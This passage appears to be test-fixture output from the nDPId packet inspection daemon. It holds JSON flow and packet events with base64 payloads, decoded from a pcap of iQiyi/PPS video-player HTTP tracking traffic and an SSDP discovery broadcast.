j8fQw8JppcmU56UETgKXK1+sby1MZiNMiInzYfyF0Xng7qqWmHKqST5PyAsXgQhrLvvtYMmjWTSZyHRQ0IX0O7ujcdOEi0FuS6rCi5tob7MX7h7ClnlenSE63qNEJdfoalq6bbSJ1HHmmKJXo+WsPrba6Tl4WugQcA+Rw1Vh6UsirDsfX7xSFdtGzqpSojs\/AYV4cjyNWjUd00IAjBC9lOEgpokouG\/FwTjqe2Vf6YaYoWENDb\/JMaTWLLK38Zx6G36Etn+9JRxl7Rx92L\/f30eOtgleoW0n0F8qFbdDJwHXoMKuvvqmghyLqr4o+OV8QozuhznvjFAZ5VXJqX2dEjBRkeROzA2oC16yDK\/t0MaytJ6foLFmk9Jrdj+vpZJ\/2B\/oQxIzc\/KGd7GPzB7A+H7W921P8eiWPbYIGukX8oOHQQGFULEKjZZWJR6+atTY7KNhDUYtAvGQeW2ePaJks3bsBAUARTQ0rVWUl+Treas6iiJXQdPO+BpJ4Yrbrs3Jf7qNbqz\/wGP\/+SneINTJNocAXSudLk2sK\/d3HDKn1dZtfdmFkCHmNsPDstlKRD+TNKQjUDYqwIRi7goqTY+0vU9feO+rU81VQrLU+kPKR80cbAbbSYSHVD8hy\/KX6LD3IsrjnRkoO5Y2jjLGQoaUcsW6p+sShoFMT4VBCVqJ1GS5pceWdMAY0RTilrNPYp9T1zExU9YrCfljRFwczBjpBlngMT4080y4PVeb\/jjG4ppLFhdhr8Yw1qYJejl++MY+\/QJ4pPXNvCpZTJscfjD0UAzkDT\/CSzGQBNll9T47jhb8xMmdi8KNKx+o1t0LIlq6YYHmGOJ9E7s9UhidWiHje65nqHEtga1E4U139UNleXgjufDw7Yq2vIIZqGo5w++kJhenfrWlVUeISfyIhWGx1e45gSMYpm6h9D4ehGojlkJwl46iZkVPdrjzOCdmrvpYYbt5gqWT8lT4\/DhHX2+g05nlxOApJlmrEvBjkEDQeQIRYcDEAFwXD+AENkmAshaRlcUT409v1qwgYFzmUPQ50PZsULQ5G+k94I3YNLcQhhDz4VJ6N7Dus8hU\/vEzsdedcrV2uh4w"} +01252{"flow_id":54,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1096,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353164,"pkt_ts_usec":710742,"pkt_caplen":672,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":672,"pkt_l4_len":638,"pkt":"TF4M6gNlABxCjnAxCABFAAKSGWJAAIAGNQnAqHMITeooYMU2AFCms8QrkbqDeFAYAQSgHQAAozaGK7Eyoh+0n20C4yPE1+lxHDf6AAr4LuxQxZ1NL5o3IoM4evdZaXhpIgjk8Bc6J0m1WEhLwF4GRhLmaM7qBe44nG1KyvBst\/xti4eh9jvWjj3qCCBqIlzJ9Dgxn7Jsn1McnGDZIlZfzXazM98m3I2pagZqOyGAx5lgTavxeOuFJH4FYk33vsnqNsIj7\/PT7727lx6NptdGUW8zcVhGVlfC\/nmXORl4YQ6EZEWj1sSOOKM4Ij+7pa3Zv8RUrwsNpVXrxKh0zoZF9fUTa4FPx4T6EqqzJmxmccfc0+QEvT\/WXD\/a3o9X4aMJm5z0loNU6GIUHkp4reyD9dEYWvEDAK6RR9vIZJ9LVc\/ppNeuFiFTJCo1wr9cSCkIxykPY5GtZOwkwBN+BEP0mkWnha+\/1oTQsso4oRjT78q3+b+az1rTouhWipeKqixPLs93kEO3FO32AAxJ1uGkvgaTVg2CB6QB\/x\/AT8N2e3kC0UlssFS8Or1NyeaP4iu8mTk0s3KCKqr9EhVjfDzJSiazeVF9UZ\/O\/D6i9JyWuVGvqlGWX4ZjuG9MsryPyIUgJhX2GszWHZ5PdRrkz\/9We49YXtS3auwiupHFgNBa9XArVBDB4NOVbrTpOxTmYgFzioRAzYYgYbXbJS3YfHvp7XC\/CEMFYZs6iPCC588KPcA6QydnmagR3JtzT1G\/RmCF3+8xxDwuU3e2olFAXrobDjNQqjXXCw0EaoqTI8UlQt4vntO8TNLElyA\/TzDKZEekelUtOFXA5\/erxwC9cEsLITMS\/\/iIkFyzYCVki2NEE2qdzzWN9KxgA79OqPWp2ZXf"} +00578{"flow_id":55,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1097,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353164,"pkt_ts_usec":734846,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChLHoAAAER1vbAqAU57\/\/\/+ukAB2wAjbKhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +02110{"flow_id":54,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1098,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":19442,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUNK5AADYGYTtN6ihgwKhzCABQxTaRuoN4prPGlVAQAAIz+QAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjA0IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiAxMTY1OA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQp9tKi6HoyB17A9ZgYHZT4XkxjHMZq9K0eZv9vajXQrNHlusESdtzot5XVzGW5tIOpFrpywuw9UNW0pu1TWgf4ZlLX2r3s9ckfIOf0xxXUvvSK9rdWmvQukszqkdwlUapwYKf9\/Gpx+V03wsuVwwY2emY4KWXaoeN1C\/ZKVvuL0CBPD3pQAQK4rprN3uJJBX5KwPf3uCp5pOGeDRPnxlcKg9k1hqcU64Ealo2W55xN3ieCbqEqgI+cVfYgkcL1ReDhNxE5a8W8SgsA50aztK5X1r0KlTBAMycZUJhpTYa\/3RfY99rC1i8jVfGj\/4pWDXa5o0SjrgCnpKBU8tI6OEl43vL51cVLvWhRUDGuoKtnFrAFEerpN6Okw1W7oyISBPkRI03wdIYL3Fy0LaGP8N6gLEIp+X2vWJz4OJeJru5YKhxGnvQHidE7rbiWii50f0dwlntwyLebWh3ricqqtakSMESF1js1NaxTLdplaukdm3lIG5iurS8Qurn4Qstud8ZLb0TOciEqrMcFMHTnQplcmf4AFSoYsxK37KXgplf60ozFbJgaRAQjUJYTc+uby7uLmz1G5RBzd3Qf\/lAzHtprkthJCUJQgQ+d5CXU4S0KOietw\/I\/RfrGAuquacapDO0ieO1yFAm1k97cyhvccd82BOx7IHdIT5+MW8NyqQEtavcPa9AxxgT2+T6DdKALOZ0iZ\/CUrkrAvUIkdx8iSNObppFa2srlM8Ym4bTUZnkQRaLLnBweJHQfpYDJe6hNOp7mKkCyDdh8twVsre9l0Y1fIHzmof4HFvmuAqhniMeH0TLVeTGq4pNiGOVxGvYFj64F\/9+Xx7CgJAMH1K\/h3BKbhNgPqz5C6A8v1RkKzcWfcSShf1m8rAMGwk67Uu77jHObr8Gm\/ono69MiLLvyMDVzNUYjiba4qVRXUpx3MfelIFbACoe7BwLm\/4u2OuyDWizh0LqKvmz73H6YKNj5opE1Ym5+xOaGtROvQbQrI4egW5C0P4g31wttBCoUwyk+60Bt+RP85h9ap+yQ\/aS83+Zp5T5IgpXOoKP0VD3xqNH3gFqeP7+hq5z7SBgs96Y7pAFTwg8D4quMYzfVrq\/3VJbzdbIZl5uM21FINfbZpRLEYiBUjC5zojT4znMr0f7J5h4j2yWAdcdJkwGxIFgDZtCDLGyQKwer4H3gj1ppM0RRAuNC9bP9GwB1wLad5gI5TMCre8sqThvw38tCeWx87kyCWNY1VxkxW47y1w3DT2xYLygJAMvuxacaPucRZ+SjtaaHH\/BM2ygOLZEMOkX5ZuhoLGkiwT6BIHa9kPgDxC\/95ENWwboGjrWZITX+fhBj\/kyQhaE3UkS7HL1ePs+frR3h3yUhMbK9\/SbRcKeZyEbw3gDHfChHTErvrw7e87a8nXJCH3y5YCtUgyq9WpRMLxm4zVIUiKNFxLVSwPBmu6xGhC1unEw8kRH+V"} +02123{"flow_id":54,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1099,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":19443,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUNK9AADYGYTpN6ihgwKhzCABQxTaRuohkprPGlVAQAAIjQwAApeDMo5L42kLlEmWe2\/B3R4UjtfEwEqUUvKjfIbiCww\/edTn2MqC2cAX0C1PFBCjO2P8QoR90wad9amSf7kRq8kSQh4f0WfqvGxcQIeXL56yLrjEGc658gVmGSNMpJxdmwOIaGhMZ5kMkY\/W9dd2VslqwCgqY5GNNUO4YWVGjkx81pmhNsDOnHCWRT8BE1Qc53qjt7CpYAMMTJXkyeR7MQ5Q78vInzVF7pTiIGL6iDkqmcY2Gx30UcuoAGvMy6kzemEU4mFtR7lPHKqKy\/LKX8mjbpoT11Cnhtq1OhtTw2R37IiGGXNABgvH4lQPHsDjMzu\/2SJPeDeoHIA5KftboMDbTwTPNB0fRMc\/VfmPWQKB9mnLc3uw4UCN6FMHWhycD5fEy6dEcThVjMoyj4cUtznjm79Ov7qmTGoqtxFkQYApxQU5YW5SZL4lfamJ3Bod2QrbY0ogtjQc+cLG\/qaze40u\/Dxq0W8zJtyyx6QSntlthqy2S3qIRvb0wem03m\/vU7ReBNJUOZpLEaH\/friK7\/6LT5VSKK05EEzrioNW0tywcrVkCzMIdg\/NHwhcRsQ6TnM5NHT5jexjRqG0PDDmRbkw\/t6hSjBGeT29hAMfJB4PAmeXw+TaN8VyIP7CSsZev68vvHrXCyBbe9MnvPmZUq0f7DfZT9Y5F3l1OoYSwIYElepsH3R3tUqYbx2EiTDyJUi70Se\/BEn62xDuRyhTx\/RrIzqRn2c4cWGZ4VrkmJbl4Hw1et9X0I7P4i8IrV\/dxYsZmwVb9RHzZn8XvpgVUAoYLqvA92wUgCIXs2BJeo38IluEzw3Hu04XHhX7HLBxLTIG1+7FdhsJhT7I6RkfN1Xud2jEz78IoOtpLWcvZBrJvQ1ckxD2fl4Gr2Q1i4x4NSz+X8EXYiwIGVr1QMs\/X5TLDcXxIT8ORJ1AguUpfEgivI4QSSFM90ZB2gXInngvJgNpH28CoMTx7FbsON3gwbNcpM7aZ9NfeVvBKaDQiHBXh3FTcNVoTTV6hK3gbaaQzUOu68XBj2zzSs+Mz8bGXnmwJj6O\/dqY3hHhxcAL4vwnqdCYB8TmET1D9fNNL69SWHea+HcIsXksjbYdMGr8JtNTlr4Z+Dia0xF+P64xjNjoc0HH6nZ5z9ejgzMzD25oIQ3s\/MIekEsdUePIc1zgsQLEmT4yrKJr\/hh9a05ALkctX8VTXA3n8Rl\/MjiXKeyAxsZOy1lMf4H\/p8N2GY9mSKUOWKbevV\/wtb28KQ\/IzYfeRr9BMfC05oOZQCz24wqpcm5thbCROLILVWIqeS9G12ugTXYYzowso8maT2KwC\/BiT75glseOkVqPhksvxocUVZelbPs\/eO8tDEN\/0FJnPh6ZZbXPBhXcAxuWYUQyQbgzzR7XKtQj5PZPnEVEOh6vL1Vy4Yqrlw5Q7IspDfRN5HQ2ykDVMam7Tvmh70qg2I6xqRX\/TSiiy92gFze0oI3wXAcN4ILrHZRr5XICPlTFDDPIqP0PyVQC1Pwr6iU9WDUqAbXCi1tsYy4unja6Zqe2lchsuyA6q1zgZOU238tgb0nw5HmbTL\/WSUVPG4HVxZbssBz1uXnLAuSAf8mzmCVSejVMEThEtBCx\/mx7mMCxudJlH1o8FLNzQBE+qfOHTYphojjFvx8\/kTSmBbThBA2nFxU61iHPv9imobnSe"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1108,"source":"pps.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1467353165300,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50495,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01602{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1108,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":300743,"pkt_caplen":946,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":946,"pkt_l4_len":912,"pkt":"TF4M6gNlABxCjnAxCABFAAOkGfJAAIAG0FjAqHMIymwO7MU\/AFBSz4AccUHHfVAYQTf+XQAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6MjM6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTI3NTU4JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1ODg3NCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxNjUwNDcmc2g9JnNxPSZzdz0mdD1zcCZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +01162{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1108,"source":"pps.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1467353165300,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50495,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/cp2.gif?a=4e3ae415a584748ac9aa31628f39d1e8&ai=&as=1:23:23|45&av=4.10.004&b=180932301&c=31&ct=5000000927558&d=2175&di=&dp=71000001&e=c4889e64ad9d9eeb9ff438910850c442&ec=&em=&fi=&g=0&l=MTE4LjE2My44Ljkw&mk=&nw=&od=5000000858874&oi=&p=a&pp=&rc=&rd=&ri=&s=1467353165047&sh=&sq=&sw=&t=sp&u=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=479531000&vv=5.2.15.2240&x=&y=qc_100001_100140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00605{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1109,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":410193,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5NehAADMGBE7KbA7swKhzCABQxT9xQcd9Us+DmFAYACAMewAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjA0IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1110,"source":"pps.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1467353165456,"flow_last_seen":0,"flow_tot_l4_data_len":1280,"flow_min_l4_data_len":1280,"flow_max_l4_data_len":1280,"flow_avg_l4_data_len":1280,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"101.227.200.11","src_port":50496,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02095{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1110,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":456243,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"TF4M6gNlABxCjnAxCABFAAUUGh1AAIAGeifAqHMIZePIC8VAAFBgEsEemWlGj1AQ\/\/DZSAAAR0VUIC90cmFjazI\/YT0wJmFzPTE7MiwzOzQsNSZiPTE0NjczNTMxNjUmYz05NjY1NDJjODJhNTY5NGQwZTk0M2Q1MGQ1ZmNmNWE1NSZjdj01LjIuMTUuMjI0MCZkPTUwMDAwMDA4NTQ5MzQmZHI9MjE3NSZmPTRlM2FlNDE1YTU4NDc0OGFjOWFhMzE2MjhmMzlkMWU4Jmc9MF9hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbiZoPSZpPXFjXzEwMDAwMV8xMDAxNDAmaXY9MCZqPTMxJms9MTgwOTMyMzAxJmtwPTRlM2FlNDE1YTU4NDc0OGFjOWFhMzE2MjhmMzlkMWU4Jm49NDc5NTMxMDAwJm89MSZwPTEwMDAwMDAwMDAzODEmcT01MDAwMDAwOTIzNDQ3JnI9YzQ4ODllNjRhZDlkOWVlYjlmZjQzODkxMDg1MGM0NDImcnQ9MTQ2NzM1MzExMyZzPThlZGI2OTRjOGM4Y2NhOTIzZDNlYWU2NjIyZjlhZWU2JnN2PTQuMTAuMDA0JnU9MSZ1cD0mdj01MDAwMDAwODU0ODU4JnZlPTEmdz00LDUgSFRUUC8xLjENCkFjY2VwdC1MYW5ndWFnZTogemgtQ04NClJlZmVyZXI6IGh0dHA6Ly93d3cuaXFpeWkuY29tL2NvbW1vbi9mbGFzaHBsYXllci8yMDE0MDkyNC9NYWluUGxheWVyXzVfMl8zX2MzXzJfMV82LnN3Zg0KcXlpZDogYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOiBfMjAxMg0KcXlwbGF0Zm9ybTogMC0yDQp4LWZsYXNoLXZlcnNpb246IDEyLDAsMCw3MA0KQWNjZXB0OiAqLyoNClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA4LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC80LjA7IFNMQ0MyOyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgLk5FVCBDTFIgMy4wLjMwNzI5OyBNZWRpYSBDZW50ZXIgUEMgNi4wKS9RWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBhcGkuY3VwaWQuaXFpeWkuY29tDQpDb29raWU6IHBwc19jbGllbnRfdmVyMj01LjIuMTUuMjI0MDsgVDAwNDA0PTRlM2FlNDE1YTU4NDc0OGFjOWFhMzE2MjhmMzlkMWU4OyBfcHBzX2l2aT1WazQ5TVRZd05UQTFMYVcvcFBtaFJ6OC9QNlRhcEVlbXVEOC9wTSt3Wmo4dHBMV3gzemd3cGxvL3BHYW9jU1pXVUQweEpsWkRQVDgvUHo4K3BMV3gzemd3cGxvL3BHYW9jU1pXU2owdE1TWldVejFXSmxaRVBTWldWRnRCWFQweU1UYzFKbFpOUFNaV1ZqMDFMakl1TVRVdU1qSTBNQ1pXVlQxb2RIUndPaTh2ZDNkM0xtbHhhWGxwTG1OdmJTOTJYekU1Y25K"} +01260{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1110,"source":"pps.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1467353165456,"flow_last_seen":0,"flow_tot_l4_data_len":1280,"flow_min_l4_data_len":1280,"flow_max_l4_data_len":1280,"flow_avg_l4_data_len":1280,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"101.227.200.11","src_port":50496,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"api.cupid.iqiyi.com","url":"api.cupid.iqiyi.com\/track2?a=0&as=1;2,3;4,5&b=1467353165&c=966542c82a5694d0e943d50d5fcf5a55&cv=5.2.15.2240&d=5000000854934&dr=2175&f=4e3ae415a584748ac9aa31628f39d1e8&g=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&h=&i=qc_100001_100140&iv=0&j=31&k=180932301&kp=4e3ae415a584748ac9aa31628f39d1e8&n=479531000&o=1&p=1000000000381&q=5000000923447&r=c4889e64ad9d9eeb9ff438910850c442&rt=1467353113&s=8edb694c8c8cca923d3eae6622f9aee6&sv=4.10.004&u=1&up=&v=5000000854858&ve=1&w=4,5","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00663{"flow_id":68,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1111,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":456392,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"TF4M6gNlABxCjnAxCABFAADjGh5AAIAGflfAqHMIZePIC8VAAFBgEsYKmWlGj1AY\/\/BFbwAAc2RuVjRiR2N1YUhSdGJBPT07IFFDMDA2PXU1NDl2cHoxMGw5ZmthdHVtNGFsdzRicDsgUUMwMDg9MTQ2NjY0NTgxNi4xNDY2NjQ1ODE2LjE0NjY2NDU4MTYuMTsgSG1fbHZ0XzUzYjczNzRhNjNjMzc0ODNlNWRkOTdkNzhkOWJiMzZlPTE0NjY2NDU4MTc7IFFDMDA1PWFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQoNCg=="} +00746{"flow_id":68,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1112,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":492216,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"ABxCjnAxTF4M6gNlCABFAAEkdU5AAC8Gc+Zl48gLwKhzCABQxUCZaUaPYBLGxVAYP\/ygXgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjA1IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgNCkNvbnRlbnQtTGVuZ3RoOiAyDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctQ3JlZGVudGlhbHM6IHRydWUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCm9r"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1113,"source":"pps.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1467353165563,"flow_last_seen":0,"flow_tot_l4_data_len":970,"flow_min_l4_data_len":970,"flow_max_l4_data_len":970,"flow_avg_l4_data_len":970,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.112.49","src_port":50497,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01679{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1113,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":563016,"pkt_caplen":1004,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1004,"pkt_l4_len":970,"pkt":"TF4M6gNlABxCjnAxCABFAAPeGjdAAIAGvYPAqHMIe31wMcVBAFAj7VXd5qVx9VAYQTcqlQAAR0VUIC9ta3QuZ2lmP2FpPTg0NTI4OTE5MDBjOTAzYWU3YTg3NjQ0NzkyM2E1YWVjJmV0PTAgSFRUUC8xLjENCkFjY2VwdC1MYW5ndWFnZTogemgtQ04NClJlZmVyZXI6IGh0dHA6Ly93d3cuaXFpeWkuY29tL2NvbW1vbi9mbGFzaHBsYXllci8yMDE0MDkyNC9NYWluUGxheWVyXzVfMl8zX2MzXzJfMV82LnN3Zg0KcXlpZDogYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOiBfMjAxMg0KcXlwbGF0Zm9ybTogMC0yDQp4LWZsYXNoLXZlcnNpb246IDEyLDAsMCw3MA0KQWNjZXB0OiAqLyoNClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA4LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC80LjA7IFNMQ0MyOyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgLk5FVCBDTFIgMy4wLjMwNzI5OyBNZWRpYSBDZW50ZXIgUEMgNi4wKS9RWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBjbGljay5obS5iYWlkdS5jb20NCkNvb2tpZTogSE1BQ0NPVU5UPTg4Q0M2OUIwNEM5RDYyOUE7IEhfTUtUX0NMS0lEPTAwMDAwMDAxNTlkYTE2Yjg1Nzc2MDgzMjVhMDhhMzc2MDAwMDAwMjAzNTMzNjUzMjM1NjUzMzMzNjUzMDM2MzQ2MzM2MzUzNzYzMzAzNjYyMzUzNTM4NjUzNTYzMzM2MzMzMzM2NjY0MDAwMDAwMDg3OTZmNzU3NDc1MmU2MjY1OyBIX01LVF9DTEtMT0c9MDAwMDAwMDE1OWRhMTZiODU3NzYwODMyNWEwOGEzNzYwMDAwMDAyMDM1MzM2NTMyMzU2NTMzMzM2NTMwMzYzNDYzMzYzNTM3NjMzMDM2NjIzNTM1Mzg2NTM1NjMz